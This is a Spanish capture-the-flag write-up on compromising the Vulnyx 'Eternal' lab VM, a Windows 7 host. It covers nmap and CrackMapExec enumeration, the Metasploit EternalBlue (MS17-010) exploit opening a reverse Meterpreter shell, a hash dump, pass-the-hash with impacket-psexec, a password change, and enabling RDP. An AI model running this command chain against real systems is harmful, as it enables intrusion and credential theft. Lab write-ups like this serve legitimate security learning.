Vulnyx - Eternal	
Sistema Operativo:	**Linux**
Dificultad:	**Easy**
Release:	**03/02/2024**
Técnicas utilizadas	
• Vulnerabilidad EternalBlue (CVE-2017-0144)	

En este write-up, se detalla el proceso de explotación de la máquina Eternal de Vulnyx, un sistema Windows 7 Entrerprise con Service Pack 1 que utiliza el protocolo SMBv1. Este sistema es vulnerable a la famosa vulnerabilidad EternalBlue (CVE-2017-0144), que permite la ejecución remota de código y el control total del sistema por parte de un atacante no autenticado. A lo largo de este documento, se describen las técnicas y herramientas utilizadas para identificar y explotar esta vulnerabilidad, así como los pasos posteriores para obtener acceso completo al sistema objetivo.

Enumeración

Para comenzar la enumeración de la red, utilicé el comando arp-scan -I eth1 --localnet para identificar todos los hosts disponibles en mi red.

```
┌──(root㉿kali)-[/home/administrador/Descargas]
└─# arp-scan -I eth1 --localnet
Interface: eth1, type: EN10MB, MAC: 08:00:27:47:a0:53, IPv4: 192.168.1.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.12    08:00:27:f5:e1:c8       PCS Systemtechnik GmbH

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.352 seconds (108.84 hosts/sec). 1 responded
```

La dirección MAC que utilizan las máquinas de VirtualBox comienza por “08”, así que, filtré los resultados utilizando una combinación del comando grep para filtrar las líneas que contienen “08”, sed para seleccionar la segunda línea, y awk para extraer y formatear la dirección IP.

```
┌──(root㉿kali)-[/home/administrador/Descargas]
└─# arp-scan -I eth1 --localnet | grep "08" | sed '2q;d' | awk {'print $1'}
192.168.1.12

┌──(root㉿kali)-[/home/administrador/Descargas]
└─#
```

Una vez que identificada la dirección IP de la máquina objetivo, utilicé el comando **nmap -p- -sS -sC -sV --min-rate 5000 -vvv -Pn 192.168.1.12 -oN scanner_eternal** para descubrir los puertos abiertos y sus versiones:

- (-p-): realiza un escaneo de todos los puertos abiertos.
- (-sS): utilizado para realizar un escaneo TCP SYN, siendo este tipo de escaneo el más común y rápido, además de ser relativamente sigiloso ya que no llega a completar las conexiones TCP. Habitualmente se conoce esta técnica como sondeo de medio abierto (half open). Este sondeo consiste en enviar un paquete SYN, si recibe un paquete SYN/ACK indica que el puerto está abierto, en caso contrario, si recibe un paquete RST (reset), indica que el puerto está cerrado y si no recibe respuesta, se marca como filtrado.
- (-sC): utiliza los script por defecto para descubrir información adicional y posibles vulnerabilidades. Esta opción es equivalente a --script=default. Es necesario tener en cuenta que algunos de estos script se consideran intrusivos ya que podría ser detectado por sistemas de detección de intrusiones, por lo que no se deben ejecutar en una red sin permiso.
- (-sV): Activa la detección de versiones. Esto es muy útil para identificar posibles vectores de ataque si la versión de algún servicio disponible es vulnerable.

- (--min-rate 5000): ajusta la velocidad de envío a 5000 paquetes por segundo.
- (-Pn): asume que la máquina a analizar está activa y omite la fase de descubrimiento de hosts.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ cat nmap/scanner_eternal
# Nmap 7.94SVN scan initiated Thu Nov 21 05:55:46 2024 as: /usr/lib/nmap/nmap -p- -sS -sC -sV --min-rate 5000 -vvv -Pn -oN nmap/scanner_eternal 192.168.1.12
Nmap scan report for 192.168.1.12
Host is up, received arp-response (0.00021s latency).
Scanned at 2024-11-21 05:55:59 CET for 79s
Not shown: 65525 closed tcp ports (reset)
PORT      STATE SERVICE      REASON          VERSION
135/tcp   open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 128 Windows 7 Enterprise 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp  open  http         syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:F5:E1:C8 (Oracle VirtualBox virtual NIC)
Service Info: Host: MIKE-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-11-21T04:57:14
|_  start_date: 2024-11-21T04:51:35
|_clock-skew: mean: -19m59s, deviation: 34m39s, median: 0s
| smb-os-discovery:
|   OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: MIKE-PC
|   NetBIOS computer name: MIKE-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-11-21T05:57:13+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 51848/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 53355/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 5341/udp): CLEAN (Timeout)
|   Check 4 (port 16114/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: MIKE-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f5:e1:c8 (Oracle VirtualBox virtual NIC)
| Names:
|   MIKE-PC<20>          Flags: <unique><active>
|   MIKE-PC<00>          Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| Statistics:
|   08:00:27:f5:e1:c8:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 21 05:57:18 2024 -- 1 IP address (1 host up) scanned in 92.53 seconds
```

La herramienta CrackMapExec proporciona información detallada sobre el sistema operativo del objetivo.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
```

Análisis del puerto 445 (SMB)

La máquina objetivo es un sistema Windows 7 Enterprise con Service Pack 1 instalado, que utiliza el protocolo SMBv1. Este protocolo es conocido por sus vulnerabilidades críticas, entre las cuales destaca EternalBlue. EternalBlue es una vulnerabilidad de ejecución remota de código en el servicio de servidor de Microsoft, utilizado para compartir archivos e impresoras. Esta vulnerabilidad permite a un atacante no autenticado ejecutar código arbitrario y tomar el control del sistema.

EternalBlue, identificado como CVE-2017-0144, explota una debilidad en la implementación del protocolo SMBv1. Esta vulnerabilidad fue descubierta por la Agencia de Seguridad Nacional de los Estados Unidos (NSA) y posteriormente filtrada por el grupo de hackers conocido como Shadow Brokers. EternalBlue aprovecha un error en la forma en que el servidor SMB maneja ciertos paquetes especialmente diseñados, permitiendo a un atacante enviar paquetes maliciosos que ejecutan código arbitrario en el sistema objetivo.

Para verificar si la máquina objetivo era vulnerable a EternalBlue, utilicé los scripts de Nmap específicos para esta vulnerabilidad.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ cat nmap/scanner_vuln_smb
# Nmap 7.94SVN scan initiated Thu Nov 21 06:20:22 2024 as: /usr/lib/nmap/nmap --privileged -p445 "--script=vuln and safe" -oN nmap/scanner_vuln_smb 192.168.1.12
Nmap scan report for 192.168.1.12
Host is up (0.00034s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:F5:E1:C8 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

# Nmap done at Thu Nov 21 06:20:36 2024 -- 1 IP address (1 host up) scanned in 13.58 seconds
```

Una vez confirmado que la máquina era vulnerable, configuré el exploit correspondiente utilizando un módulo de EternalBlue disponible en la suite de Metasploit. Tras la correcta configuración del exploit, procedí a ejecutarlo contra la máquina objetivo. El exploit se ejecutó con éxito, permitiéndome obtener el control total del sistema.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.12:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.12:445      - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.12:445 - The target is vulnerable.
[*] 192.168.1.12:445 - Connecting to target for exploitation.
[+] 192.168.1.12:445 - Connection established for exploitation.
[+] 192.168.1.12:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.12:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.1.12:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.1.12:445 - 0x00000010  72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63  rise 7601 Servic
[*] 192.168.1.12:445 - 0x00000020  65 20 50 61 63 6b 20 31                           e Pack 1
[+] 192.168.1.12:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.12:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.12:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.12:445 - Starting non-paged pool grooming
[+] 192.168.1.12:445 - Sending SMBv2 buffers
[+] 192.168.1.12:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.12:445 - Sending final SMBv2 buffers.
[*] 192.168.1.12:445 - Sending last fragment of exploit packet!
[*] 192.168.1.12:445 - Receiving response from exploit packet
[+] 192.168.1.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.12:445 - Sending egg to corrupted connection.
[*] 192.168.1.12:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 192.168.1.12
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.12:49158) at 2024-11-21 06:01:27 +0100
[+] 192.168.1.12:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.12:445 - =-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.12:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MIKE-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : es_ES
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter >
```

En este punto, es posible obtener los hashes de los usuarios disponibles en el sistema desde la consola de Meterpreter.

```
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:bae41ca591dff9f200a0cb95dd636d60:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MIKE:1001:aad3b435b51404eeaad3b435b51404ee:49d1acab366daee51dcc3e9af958aced:::
meterpreter >
```

Como era de esperar, la cuenta del usuario administrador no estaba habilitada; sin embargo, la cuenta del usuario MIKE sí estaba habilitada y además permitía la ejecución de comandos remotos.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12 -u "Administrador" -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
SMB         192.168.1.12    445    MIKE-PC          [-] MIKE-PC\Administrador:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_ACCOUNT_DISABLED

┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12 -u "Mike" -H aad3b435b51404eeaad3b435b51404ee:49d1acab366daee51dcc3e9af958aced
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
SMB         192.168.1.12    445    MIKE-PC          [+] MIKE-PC\Mike:49d1acab366daee51dcc3e9af958aced (Pwn3d!)

┌──(administrador㉿kali)-[~/Descargas]
└─$
```

Por tanto, accedí al sistema objetivo utilizando psexec de Impacket como usuario NT AUTHORITY\SYSTEM.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:49d1acab366daee51dcc3e9af958aced WORKGROUP/Mike@192.168.1.12
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.1.12.....
[*] Found writable share ADMIN$
[*] Uploading file bUujRPSP.exe
[*] Opening SVCManager on 192.168.1.12.....
[*] Creating service FpHD on 192.168.1.12.....
[*] Starting service FpHD.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versi◆n 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```

Posteriormente, cambié la contraseña de dicho usuario para poder conectarme mediante el protocolo RDP a la máquina objetivo.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12 -u "MIKE" -p 1234
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
SMB         192.168.1.12    445    MIKE-PC          [+] MIKE-PC\MIKE:1234 (Pwn3d!)

┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12 -u "MIKE" -p 1234 --shares
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
SMB         192.168.1.12    445    MIKE-PC          [+] MIKE-PC\MIKE:1234 (Pwn3d!)
SMB         192.168.1.12    445    MIKE-PC          [+] Enumerated shares
SMB         192.168.1.12    445    MIKE-PC          Share           Permissions     Remark
SMB         192.168.1.12    445    MIKE-PC          -----           -----------     ------
SMB         192.168.1.12    445    MIKE-PC          ADMIN$          READ,WRITE      Admin remota
SMB         192.168.1.12    445    MIKE-PC          C$              READ,WRITE      Recurso predeterminado
SMB         192.168.1.12    445    MIKE-PC          IPC$                            IPC remota
SMB         192.168.1.12    445    MIKE-PC          Users           READ,WRITE
```

Antes de proceder, fue necesario habilitar el servicio RDP en la máquina víctima. Una vez habilitado, verifiqué que el puerto 3389 (RDP) estaba abierto mediante un análisis de Nmap.

```
┌──(administrador㉿kali)-[~/Descargas]
└─$ crackmapexec smb 192.168.1.12 -u "MIKE" -p 1234 -M rdp -o action=enable
SMB         192.168.1.12    445    MIKE-PC          [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:MIKE-PC) (domain:MIKE-PC) (signing:False) (SMBv1:True)
SMB         192.168.1.12    445    MIKE-PC          [+] MIKE-PC\MIKE:1234 (Pwn3d!)
RDP         192.168.1.12    445    MIKE-PC          [+] RDP enabled successfully

┌──(administrador㉿kali)-[~/Descargas]
└─$ nmap -p3389 --open -T5 -v -n 192.168.1.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 06:14 CET
Initiating ARP Ping Scan at 06:14
Scanning 192.168.1.12 [1 port]
Completed ARP Ping Scan at 06:14, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 06:14
Scanning 192.168.1.12 [1 port]
Discovered open port 3389/tcp on 192.168.1.12
Completed SYN Stealth Scan at 06:14, 0.02s elapsed (1 total ports)
Nmap scan report for 192.168.1.12
Host is up (0.00028s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
MAC Address: 08:00:27:F5:E1:C8 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
```

Finalmente, utilicé rdesktop para establecer una conexión de escritorio remoto con la máquina objetivo, donde pude observar la flag de root.